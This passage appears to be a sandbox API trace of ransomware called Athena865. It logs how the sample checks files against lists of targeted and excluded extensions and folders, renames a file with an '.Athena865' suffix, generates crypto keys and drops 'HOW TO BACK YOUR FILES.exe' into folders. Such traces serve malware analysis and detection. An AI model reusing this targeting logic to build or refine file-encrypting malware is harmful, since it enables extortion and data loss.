1 [0102.663] lstrlenW (lpString="qvd") returned 3 [0102.663] lstrcmpiW (lpString1="swf", lpString2="qvd") returned 1 [0102.663] lstrlenW (lpString="rbf") returned 3 [0102.663] lstrcmpiW (lpString1="swf", lpString2="rbf") returned 1 [0102.663] lstrlenW (lpString="rctd") returned 4 [0102.663] lstrcmpiW (lpString1=".swf", lpString2="rctd") returned -1 [0102.663] lstrlenW (lpString="rod") returned 3 [0102.663] lstrcmpiW (lpString1="swf", lpString2="rod") returned 1 [0102.663] lstrlenW (lpString="rodx") returned 4 [0102.663] lstrcmpiW (lpString1=".swf", lpString2="rodx") returned -1 [0102.663] lstrlenW (lpString="rpd") returned 3 [0102.663] lstrcmpiW (lpString1="swf", lpString2="rpd") returned 1 [0102.663] lstrlenW (lpString="rsd") returned 3 [0102.663] lstrcmpiW (lpString1="swf", lpString2="rsd") returned 1 [0102.663] lstrlenW (lpString="sas7bdat") returned 8 [0102.663] lstrlenW (lpString="sbf") returned 3 [0102.663] lstrcmpiW (lpString1="swf", lpString2="sbf") returned 1 [0102.663] lstrlenW (lpString="scx") returned 3 [0102.663] lstrcmpiW (lpString1="swf", lpString2="scx") returned 1 [0102.663] lstrlenW (lpString="sdb") returned 3 [0102.663] lstrcmpiW (lpString1="swf", lpString2="sdb") returned 1 [0102.663] lstrlenW (lpString="sdc") returned 3 [0102.663] lstrcmpiW (lpString1="swf", lpString2="sdc") returned 1 [0102.663] lstrlenW (lpString="sdf") returned 3 [0102.663] lstrcmpiW (lpString1="swf", lpString2="sdf") returned 1 [0102.663] lstrlenW (lpString="sis") returned 3 [0102.663] lstrcmpiW (lpString1="swf", lpString2="sis") returned 1 [0102.663] lstrlenW (lpString="spq") returned 3 [0102.663] lstrcmpiW (lpString1="swf", lpString2="spq") returned 1 [0102.663] lstrlenW (lpString="te") returned 2 [0102.664] lstrcmpiW (lpString1="wf", lpString2="te") returned 1 [0102.664] lstrlenW (lpString="teacher") returned 7 [0102.664] lstrcmpiW (lpString1="Fgf.swf", lpString2="teacher") returned -1 [0102.664] lstrlenW (lpString="tmd") returned 3 [0102.664] lstrcmpiW (lpString1="swf", lpString2="tmd") returned -1 [0102.664] lstrlenW (lpString="tps") returned 3 [0102.664] lstrcmpiW (lpString1="swf", lpString2="tps") returned -1 [0102.664] lstrlenW (lpString="trc") returned 3 [0102.664] lstrcmpiW (lpString1="swf", lpString2="trc") returned -1 [0102.664] lstrlenW (lpString="trc") returned 3 [0102.664] lstrcmpiW (lpString1="swf", lpString2="trc") returned -1 [0102.664] lstrlenW (lpString="trm") returned 3 [0102.664] lstrcmpiW (lpString1="swf", lpString2="trm") returned -1 [0102.664] lstrlenW (lpString="udb") returned 3 [0102.664] lstrcmpiW (lpString1="swf", lpString2="udb") returned -1 [0102.664] lstrlenW (lpString="udl") returned 3 [0102.664] lstrcmpiW (lpString1="swf", lpString2="udl") returned -1 [0102.664] lstrlenW (lpString="usr") returned 3 [0102.664] lstrcmpiW (lpString1="swf", lpString2="usr") returned -1 [0102.664] lstrlenW (lpString="v12") returned 3 [0102.664] lstrcmpiW (lpString1="swf", lpString2="v12") returned -1 [0102.664] lstrlenW (lpString="vis") returned 3 [0102.664] lstrcmpiW (lpString1="swf", lpString2="vis") returned -1 [0102.664] lstrlenW (lpString="vpd") returned 3 [0102.664] lstrcmpiW (lpString1="swf", lpString2="vpd") returned -1 [0102.664] lstrlenW (lpString="vvv") returned 3 [0102.664] lstrcmpiW (lpString1="swf", lpString2="vvv") returned -1 [0102.664] lstrlenW (lpString="wdb") returned 3 [0102.664] lstrcmpiW (lpString1="swf", lpString2="wdb") returned -1 [0102.664] lstrlenW (lpString="wmdb") returned 4 [0102.664] lstrcmpiW (lpString1=".swf", lpString2="wmdb") returned -1 [0102.664] lstrlenW (lpString="wrk") returned 3 [0102.664] lstrcmpiW (lpString1="swf", lpString2="wrk") returned -1 [0102.665] lstrlenW (lpString="xdb") returned 3 [0102.665] lstrcmpiW (lpString1="swf", lpString2="xdb") returned -1 [0102.665] lstrlenW (lpString="xld") returned 3 [0102.665] lstrcmpiW (lpString1="swf", lpString2="xld") returned -1 [0102.665] lstrlenW (lpString="xmlff") returned 5 [0102.665] lstrcmpiW (lpString1="f.swf", lpString2="xmlff") returned -1 [0102.665] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\Xq4jS8elFnsM1RuTo\\5Fgf.swf.Athena865") returned 90 [0102.665] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\Xq4jS8elFnsM1RuTo\\5Fgf.swf" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\xq4js8elfnsm1ruto\\5fgf.swf"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\Xq4jS8elFnsM1RuTo\\5Fgf.swf.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\xq4js8elfnsm1ruto\\5fgf.swf.athena865"), dwFlags=0x1) returned 1 [0102.665] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\Xq4jS8elFnsM1RuTo\\5Fgf.swf.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\xq4js8elfnsm1ruto\\5fgf.swf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0102.667] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=54566) returned 1 [0102.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0102.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0102.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0102.670] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0102.675] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0102.675] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.675] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd830, lpName=0x0) returned 0x154 [0102.675] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd830) returned 0x100000 [0102.677] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0102.678] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0102.678] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.678] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0102.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0102.678] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528250 [0102.678] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0102.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528250 | out: hHeap=0x4f0000) returned 1 [0102.678] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0102.678] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52a800 [0102.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0102.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a800 | out: hHeap=0x4f0000) returned 1 [0102.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0102.678] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0102.679] CloseHandle (hObject=0x154) returned 1 [0102.679] CloseHandle (hObject=0x17c) returned 1 [0102.679] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0102.679] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0102.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0102.680] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbcb3fef0, ftCreationTime.dwHighDateTime=0x1d4c94b, ftLastAccessTime.dwLowDateTime=0xce3709f0, ftLastAccessTime.dwHighDateTime=0x1d4d38d, ftLastWriteTime.dwLowDateTime=0xce3709f0, ftLastWriteTime.dwHighDateTime=0x1d4d38d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5JH81rpePN6WPn_", cAlternateFileName="5JH81R~1")) returned 1 [0102.680] lstrcmpiW (lpString1="5JH81rpePN6WPn_", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.680] lstrcmpiW (lpString1="5JH81rpePN6WPn_", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.680] lstrcmpiW (lpString1="5JH81rpePN6WPn_", lpString2=".") returned 1 [0102.680] lstrcmpiW (lpString1="5JH81rpePN6WPn_", lpString2="..") returned 1 [0102.680] lstrcmpiW (lpString1="5JH81rpePN6WPn_", lpString2="windows") returned -1 [0102.680] lstrcmpiW (lpString1="5JH81rpePN6WPn_", lpString2="bootmgr") returned -1 [0102.680] lstrcmpiW (lpString1="5JH81rpePN6WPn_", lpString2="temp") returned -1 [0102.680] lstrcmpiW (lpString1="5JH81rpePN6WPn_", lpString2="pagefile.sys") returned -1 [0102.680] lstrcmpiW (lpString1="5JH81rpePN6WPn_", lpString2="boot") returned -1 [0102.680] lstrcmpiW (lpString1="5JH81rpePN6WPn_", lpString2="ids.txt") returned -1 [0102.680] lstrcmpiW (lpString1="5JH81rpePN6WPn_", lpString2="ntuser.dat") returned -1 [0102.680] lstrcmpiW (lpString1="5JH81rpePN6WPn_", lpString2="perflogs") returned -1 [0102.680] lstrcmpiW (lpString1="5JH81rpePN6WPn_", lpString2="MSBuild") returned -1 [0102.680] lstrlenW (lpString="5JH81rpePN6WPn_") returned 15 [0102.680] lstrcpyW (in: lpString1=0x241e8d8, lpString2="5JH81rpePN6WPn_" | out: lpString1="5JH81rpePN6WPn_") returned="5JH81rpePN6WPn_" [0102.680] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c5d8 [0102.680] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xb0) returned 0x542e08 [0102.681] lstrcatW (in: lpString1="5JH81rpePN6WPn_", lpString2="\\" | out: lpString1="5JH81rpePN6WPn_\\") returned="5JH81rpePN6WPn_\\" [0102.681] lstrcatW (in: lpString1="5JH81rpePN6WPn_\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="5JH81rpePN6WPn_\\HOW TO BACK YOUR FILES.exe") returned="5JH81rpePN6WPn_\\HOW TO BACK YOUR FILES.exe" [0102.681] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\Xq4jS8elFnsM1RuTo\\5JH81rpePN6WPn_\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\xq4js8elfnsm1ruto\\5jh81rpepn6wpn_\\how to back your files.exe"), bFailIfExists=1) returned 1 [0102.683] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4491a300, ftCreationTime.dwHighDateTime=0x1d4ca95, ftLastAccessTime.dwLowDateTime=0xfe686690, ftLastAccessTime.dwHighDateTime=0x1d4c8f3, ftLastWriteTime.dwLowDateTime=0xfe686690, ftLastWriteTime.dwHighDateTime=0x1d4c8f3, nFileSizeHigh=0x0, nFileSizeLow=0xd3f3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fPJIH7d2ZFTvJYTVqTxz.swf", cAlternateFileName="FPJIH7~1.SWF")) returned 1 [0102.683] lstrcmpiW (lpString1="fPJIH7d2ZFTvJYTVqTxz.swf", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.683] lstrcmpiW (lpString1="fPJIH7d2ZFTvJYTVqTxz.swf", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.683] lstrcmpiW (lpString1="fPJIH7d2ZFTvJYTVqTxz.swf", lpString2=".") returned 1 [0102.683] lstrcmpiW (lpString1="fPJIH7d2ZFTvJYTVqTxz.swf", lpString2="..") returned 1 [0102.683] lstrcmpiW (lpString1="fPJIH7d2ZFTvJYTVqTxz.swf", lpString2="windows") returned -1 [0102.683] lstrcmpiW (lpString1="fPJIH7d2ZFTvJYTVqTxz.swf", lpString2="bootmgr") returned 1 [0102.683] lstrcmpiW (lpString1="fPJIH7d2ZFTvJYTVqTxz.swf", lpString2="temp") returned -1 [0102.683] lstrcmpiW (lpString1="fPJIH7d2ZFTvJYTVqTxz.swf", lpString2="pagefile.sys") returned -1 [0102.683] lstrcmpiW (lpString1="fPJIH7d2ZFTvJYTVqTxz.swf", lpString2="boot") returned 1 [0102.684] lstrcmpiW (lpString1="fPJIH7d2ZFTvJYTVqTxz.swf", lpString2="ids.txt") returned -1 [0102.684] lstrcmpiW (lpString1="fPJIH7d2ZFTvJYTVqTxz.swf", lpString2="ntuser.dat") returned -1 [0102.684] lstrcmpiW (lpString1="fPJIH7d2ZFTvJYTVqTxz.swf", lpString2="perflogs") returned -1 [0102.684] lstrcmpiW (lpString1="fPJIH7d2ZFTvJYTVqTxz.swf", lpString2="MSBuild") returned -1 [0102.684] lstrlenW (lpString="fPJIH7d2ZFTvJYTVqTxz.swf") returned 24 [0102.684] lstrcpyW (in: lpString1=0x241e8d8, lpString2="fPJIH7d2ZFTvJYTVqTxz.swf" | out: lpString1="fPJIH7d2ZFTvJYTVqTxz.swf") returned="fPJIH7d2ZFTvJYTVqTxz.swf" [0102.684] lstrlenW (lpString="fPJIH7d2ZFTvJYTVqTxz.swf") returned 24 [0102.684] lstrlenW (lpString="Athena865") returned 9 [0102.684] lstrcmpiW (lpString1="VqTxz.swf", lpString2="Athena865") returned 1 [0102.684] lstrlenW (lpString=".dll") returned 4 [0102.684] lstrcmpiW (lpString1="fPJIH7d2ZFTvJYTVqTxz.swf", lpString2=".dll") returned 1 [0102.684] lstrlenW (lpString=".lnk") returned 4 [0102.684] lstrcmpiW (lpString1="fPJIH7d2ZFTvJYTVqTxz.swf", lpString2=".lnk") returned 1 [0102.684] lstrlenW (lpString=".ini") returned 4 [0102.684] lstrcmpiW (lpString1="fPJIH7d2ZFTvJYTVqTxz.swf", lpString2=".ini") returned 1 [0102.684] lstrlenW (lpString=".sys") returned 4 [0102.684] lstrcmpiW (lpString1="fPJIH7d2ZFTvJYTVqTxz.swf", lpString2=".sys") returned 1 [0102.684] lstrlenW (lpString="fPJIH7d2ZFTvJYTVqTxz.swf") returned 24 [0102.684] lstrlenW (lpString="bak") returned 3 [0102.684] lstrcmpiW (lpString1="swf", lpString2="bak") returned 1 [0102.684] lstrlenW (lpString="ba_") returned 3 [0102.684] lstrcmpiW (lpString1="swf", lpString2="ba_") returned 1 [0102.684] lstrlenW (lpString="dbb") returned 3 [0102.684] lstrcmpiW (lpString1="swf", lpString2="dbb") returned 1 [0102.684] lstrlenW (lpString="vmdk") returned 4 [0102.684] lstrcmpiW (lpString1=".swf", lpString2="vmdk") returned -1 [0102.684] lstrlenW (lpString="rar") returned 3 [0102.684] lstrcmpiW (lpString1="swf", lpString2="rar") returned 1 [0102.684] lstrlenW (lpString="zip") returned 3 [0102.684] lstrcmpiW (lpString1="swf", lpString2="zip") returned -1 [0102.684] lstrlenW (lpString="tgz") returned 3 [0102.684] lstrcmpiW (lpString1="swf", lpString2="tgz") returned -1 [0102.685] lstrlenW (lpString="vbox") returned 4 [0102.685] lstrcmpiW (lpString1=".swf", lpString2="vbox") returned -1 [0102.685] lstrlenW (lpString="vdi") returned 3 [0102.685] lstrcmpiW (lpString1="swf", lpString2="vdi") returned -1 [0102.685] lstrlenW (lpString="vhd") returned 3 [0102.685] lstrcmpiW (lpString1="swf", lpString2="vhd") returned -1 [0102.685] lstrlenW (lpString="vhdx") returned 4 [0102.685] lstrcmpiW (lpString1=".swf", lpString2="vhdx") returned -1 [0102.685] lstrlenW (lpString="avhd") returned 4 [0102.685] lstrcmpiW (lpString1=".swf", lpString2="avhd") returned -1 [0102.685] lstrlenW (lpString="db") returned 2 [0102.685] lstrcmpiW (lpString1="wf", lpString2="db") returned 1 [0102.685] lstrlenW (lpString="db2") returned 3 [0102.685] lstrcmpiW (lpString1="swf", lpString2="db2") returned 1 [0102.685] lstrlenW (lpString="db3") returned 3 [0102.685] lstrcmpiW (lpString1="swf", lpString2="db3") returned 1 [0102.685] lstrlenW (lpString="dbf") returned 3 [0102.685] lstrcmpiW (lpString1="swf", lpString2="dbf") returned 1 [0102.685] lstrlenW (lpString="mdf") returned 3 [0102.685] lstrcmpiW (lpString1="swf", lpString2="mdf") returned 1 [0102.685] lstrlenW (lpString="mdb") returned 3 [0102.685] lstrcmpiW (lpString1="swf", lpString2="mdb") returned 1 [0102.685] lstrlenW (lpString="sql") returned 3 [0102.685] lstrcmpiW (lpString1="swf", lpString2="sql") returned 1 [0102.685] lstrlenW (lpString="sqlite") returned 6 [0102.685] lstrcmpiW (lpString1="xz.swf", lpString2="sqlite") returned 1 [0102.685] lstrlenW (lpString="sqlite3") returned 7 [0102.685] lstrcmpiW (lpString1="Txz.swf", lpString2="sqlite3") returned 1 [0102.685] lstrlenW (lpString="sqlitedb") returned 8 [0102.685] lstrcmpiW (lpString1="qTxz.swf", lpString2="sqlitedb") returned -1 [0102.685] lstrlenW (lpString="xml") returned 3 [0102.685] lstrcmpiW (lpString1="swf", lpString2="xml") returned -1 [0102.685] lstrlenW (lpString="$er") returned 3 [0102.685] lstrcmpiW (lpString1="swf", lpString2="$er") returned 1 [0102.686] lstrlenW (lpString="4dd") returned 3 [0102.686] lstrcmpiW (lpString1="swf", lpString2="4dd") returned 1 [0102.686] lstrlenW (lpString="4dl") returned 3 [0102.686] lstrcmpiW (lpString1="swf", lpString2="4dl") returned 1 [0102.686] lstrlenW (lpString="^^^") returned 3 [0102.686] lstrcmpiW (lpString1="swf", lpString2="^^^") returned 1 [0102.686] lstrlenW (lpString="abs") returned 3 [0102.686] lstrcmpiW (lpString1="swf", lpString2="abs") returned 1 [0102.686] lstrlenW (lpString="abx") returned 3 [0102.686] lstrcmpiW (lpString1="swf", lpString2="abx") returned 1 [0102.686] lstrlenW (lpString="accdb") returned 5 [0102.686] lstrcmpiW (lpString1="z.swf", lpString2="accdb") returned 1 [0102.686] lstrlenW (lpString="accdc") returned 5 [0102.686] lstrcmpiW (lpString1="z.swf", lpString2="accdc") returned 1 [0102.686] lstrlenW (lpString="accde") returned 5 [0102.686] lstrcmpiW (lpString1="z.swf", lpString2="accde") returned 1 [0102.686] lstrlenW (lpString="accdr") returned 5 [0102.686] lstrcmpiW (lpString1="z.swf", lpString2="accdr") returned 1 [0102.686] lstrlenW (lpString="accdt") returned 5 [0102.686] lstrcmpiW (lpString1="z.swf", lpString2="accdt") returned 1 [0102.686] lstrlenW (lpString="accdw") returned 5 [0102.686] lstrcmpiW (lpString1="z.swf", lpString2="accdw") returned 1 [0102.686] lstrlenW (lpString="accft") returned 5 [0102.686] lstrcmpiW (lpString1="z.swf", lpString2="accft") returned 1 [0102.686] lstrlenW (lpString="adb") returned 3 [0102.686] lstrcmpiW (lpString1="swf", lpString2="adb") returned 1 [0102.686] lstrlenW (lpString="adb") returned 3 [0102.686] lstrcmpiW (lpString1="swf", lpString2="adb") returned 1 [0102.686] lstrlenW (lpString="ade") returned 3 [0102.686] lstrcmpiW (lpString1="swf", lpString2="ade") returned 1 [0102.686] lstrlenW (lpString="adf") returned 3 [0102.686] lstrcmpiW (lpString1="swf", lpString2="adf") returned 1 [0102.687] lstrlenW (lpString="adn") returned 3 [0102.687] lstrcmpiW (lpString1="swf", lpString2="adn") returned 1 [0102.687] lstrlenW (lpString="adp") returned 3 [0102.687] lstrcmpiW (lpString1="swf", lpString2="adp") returned 1 [0102.687] lstrlenW (lpString="alf") returned 3 [0102.687] lstrcmpiW (lpString1="swf", lpString2="alf") returned 1 [0102.687] lstrlenW (lpString="ask") returned 3 [0102.687] lstrcmpiW (lpString1="swf", lpString2="ask") returned 1 [0102.687] lstrlenW (lpString="btr") returned 3 [0102.687] lstrcmpiW (lpString1="swf", lpString2="btr") returned 1 [0102.687] lstrlenW (lpString="cat") returned 3 [0102.687] lstrcmpiW (lpString1="swf", lpString2="cat") returned 1 [0102.687] lstrlenW (lpString="cdb") returned 3 [0102.687] lstrcmpiW (lpString1="swf", lpString2="cdb") returned 1 [0102.687] lstrlenW (lpString="ckp") returned 3 [0102.687] lstrcmpiW (lpString1="swf", lpString2="ckp") returned 1 [0102.687] lstrlenW (lpString="cma") returned 3 [0102.687] lstrcmpiW (lpString1="swf", lpString2="cma") returned 1 [0102.687] lstrlenW (lpString="cpd") returned 3 [0102.687] lstrcmpiW (lpString1="swf", lpString2="cpd") returned 1 [0102.687] lstrlenW (lpString="dacpac") returned 6 [0102.687] lstrcmpiW (lpString1="xz.swf", lpString2="dacpac") returned 1 [0102.687] lstrlenW (lpString="dad") returned 3 [0102.687] lstrcmpiW (lpString1="swf", lpString2="dad") returned 1 [0102.687] lstrlenW (lpString="dadiagrams") returned 10 [0102.687] lstrcmpiW (lpString1="TVqTxz.swf", lpString2="dadiagrams") returned 1 [0102.687] lstrlenW (lpString="daschema") returned 8 [0102.687] lstrcmpiW (lpString1="qTxz.swf", lpString2="daschema") returned 1 [0102.687] lstrlenW (lpString="db-journal") returned 10 [0102.687] lstrcmpiW (lpString1="TVqTxz.swf", lpString2="db-journal") returned 1 [0102.687] lstrlenW (lpString="db-shm") returned 6 [0102.688] lstrcmpiW (lpString1="xz.swf", lpString2="db-shm") returned 1 [0102.688] lstrlenW (lpString="db-wal") returned 6 [0102.688] lstrcmpiW (lpString1="xz.swf", lpString2="db-wal") returned 1 [0102.688] lstrlenW (lpString="dbc") returned 3 [0102.688] lstrcmpiW (lpString1="swf", lpString2="dbc") returned 1 [0102.688] lstrlenW (lpString="dbs") returned 3 [0102.688] lstrcmpiW (lpString1="swf", lpString2="dbs") returned 1 [0102.688] lstrlenW (lpString="dbt") returned 3 [0102.688] lstrcmpiW (lpString1="swf", lpString2="dbt") returned 1 [0102.688] lstrlenW (lpString="dbv") returned 3 [0102.688] lstrcmpiW (lpString1="swf", lpString2="dbv") returned 1 [0102.688] lstrlenW (lpString="dbx") returned 3 [0102.688] lstrcmpiW (lpString1="swf", lpString2="dbx") returned 1 [0102.688] lstrlenW (lpString="dcb") returned 3 [0102.688] lstrcmpiW (lpString1="swf", lpString2="dcb") returned 1 [0102.688] lstrlenW (lpString="dct") returned 3 [0102.688] lstrcmpiW (lpString1="swf", lpString2="dct") returned 1 [0102.688] lstrlenW (lpString="dcx") returned 3 [0102.688] lstrcmpiW (lpString1="swf", lpString2="dcx") returned 1 [0102.688] lstrlenW (lpString="ddl") returned 3 [0102.688] lstrcmpiW (lpString1="swf", lpString2="ddl") returned 1 [0102.688] lstrlenW (lpString="dlis") returned 4 [0102.688] lstrcmpiW (lpString1=".swf", lpString2="dlis") returned -1 [0102.688] lstrlenW (lpString="dp1") returned 3 [0102.688] lstrcmpiW (lpString1="swf", lpString2="dp1") returned 1 [0102.688] lstrlenW (lpString="dqy") returned 3 [0102.688] lstrcmpiW (lpString1="swf", lpString2="dqy") returned 1 [0102.688] lstrlenW (lpString="dsk") returned 3 [0102.688] lstrcmpiW (lpString1="swf", lpString2="dsk") returned 1 [0102.688] lstrlenW (lpString="dsn") returned 3 [0102.688] lstrcmpiW (lpString1="swf", lpString2="dsn") returned 1 [0102.688] lstrlenW (lpString="dtsx") returned 4 [0102.688] lstrcmpiW (lpString1=".swf", lpString2="dtsx") returned -1 [0102.689] lstrlenW (lpString="dxl") returned 3 [0102.689] lstrcmpiW (lpString1="swf", lpString2="dxl") returned 1 [0102.689] lstrlenW (lpString="eco") returned 3 [0102.689] lstrcmpiW (lpString1="swf", lpString2="eco") returned 1 [0102.689] lstrlenW (lpString="ecx") returned 3 [0102.689] lstrcmpiW (lpString1="swf", lpString2="ecx") returned 1 [0102.689] lstrlenW (lpString="edb") returned 3 [0102.689] lstrcmpiW (lpString1="swf", lpString2="edb") returned 1 [0102.689] lstrlenW (lpString="epim") returned 4 [0102.689] lstrcmpiW (lpString1=".swf", lpString2="epim") returned -1 [0102.689] lstrlenW (lpString="fcd") returned 3 [0102.689] lstrcmpiW (lpString1="swf", lpString2="fcd") returned 1 [0102.689] lstrlenW (lpString="fdb") returned 3 [0102.689] lstrcmpiW (lpString1="swf", lpString2="fdb") returned 1 [0102.689] lstrlenW (lpString="fic") returned 3 [0102.689] lstrcmpiW (lpString1="swf", lpString2="fic") returned 1 [0102.689] lstrlenW (lpString="flexolibrary") returned 12 [0102.689] lstrcmpiW (lpString1="JYTVqTxz.swf", lpString2="flexolibrary") returned 1 [0102.689] lstrlenW (lpString="fm5") returned 3 [0102.689] lstrcmpiW (lpString1="swf", lpString2="fm5") returned 1 [0102.689] lstrlenW (lpString="fmp") returned 3 [0102.689] lstrcmpiW (lpString1="swf", lpString2="fmp") returned 1 [0102.689] lstrlenW (lpString="fmp12") returned 5 [0102.689] lstrcmpiW (lpString1="z.swf", lpString2="fmp12") returned 1 [0102.689] lstrlenW (lpString="fmpsl") returned 5 [0102.689] lstrcmpiW (lpString1="z.swf", lpString2="fmpsl") returned 1 [0102.689] lstrlenW (lpString="fol") returned 3 [0102.689] lstrcmpiW (lpString1="swf", lpString2="fol") returned 1 [0102.689] lstrlenW (lpString="fp3") returned 3 [0102.689] lstrcmpiW (lpString1="swf", lpString2="fp3") returned 1 [0102.689] lstrlenW (lpString="fp4") returned 3 [0102.689] lstrcmpiW (lpString1="swf", lpString2="fp4") returned 1 [0102.689] lstrlenW (lpString="fp5") returned 3 [0102.690] lstrcmpiW (lpString1="swf", lpString2="fp5") returned 1 [0102.690] lstrlenW (lpString="fp7") returned 3 [0102.690] lstrcmpiW (lpString1="swf", lpString2="fp7") returned 1 [0102.690] lstrlenW (lpString="fpt") returned 3 [0102.690] lstrcmpiW (lpString1="swf", lpString2="fpt") returned 1 [0102.690] lstrlenW (lpString="frm") returned 3 [0102.690] lstrcmpiW (lpString1="swf", lpString2="frm") returned 1 [0102.690] lstrlenW (lpString="gdb") returned 3 [0102.690] lstrcmpiW (lpString1="swf", lpString2="gdb") returned 1 [0102.690] lstrlenW (lpString="gdb") returned 3 [0102.690] lstrcmpiW (lpString1="swf", lpString2="gdb") returned 1 [0102.690] lstrlenW (lpString="grdb") returned 4 [0102.690] lstrcmpiW (lpString1=".swf", lpString2="grdb") returned -1 [0102.690] lstrlenW (lpString="gwi") returned 3 [0102.690] lstrcmpiW (lpString1="swf", lpString2="gwi") returned 1 [0102.690] lstrlenW (lpString="hdb") returned 3 [0102.690] lstrcmpiW (lpString1="swf", lpString2="hdb") returned 1 [0102.690] lstrlenW (lpString="his") returned 3 [0102.690] lstrcmpiW (lpString1="swf", lpString2="his") returned 1 [0102.690] lstrlenW (lpString="ib") returned 2 [0102.690] lstrcmpiW (lpString1="wf", lpString2="ib") returned 1 [0102.690] lstrlenW (lpString="idb") returned 3 [0102.690] lstrcmpiW (lpString1="swf", lpString2="idb") returned 1 [0102.690] lstrlenW (lpString="ihx") returned 3 [0102.690] lstrcmpiW (lpString1="swf", lpString2="ihx") returned 1 [0102.690] lstrlenW (lpString="itdb") returned 4 [0102.690] lstrcmpiW (lpString1=".swf", lpString2="itdb") returned -1 [0102.690] lstrlenW (lpString="itw") returned 3 [0102.690] lstrcmpiW (lpString1="swf", lpString2="itw") returned 1 [0102.690] lstrlenW (lpString="jet") returned 3 [0102.690] lstrcmpiW (lpString1="swf", lpString2="jet") returned 1 [0102.690] lstrlenW (lpString="jtx") returned 3 [0102.690] lstrcmpiW (lpString1="swf", lpString2="jtx") returned 1 [0102.691] lstrlenW (lpString="kdb") returned 3 [0102.691] lstrcmpiW (lpString1="swf", lpString2="kdb") returned 1 [0102.691] lstrlenW (lpString="kexi") returned 4 [0102.691] lstrcmpiW (lpString1=".swf", lpString2="kexi") returned -1 [0102.691] lstrlenW (lpString="kexic") returned 5 [0102.691] lstrcmpiW (lpString1="z.swf", 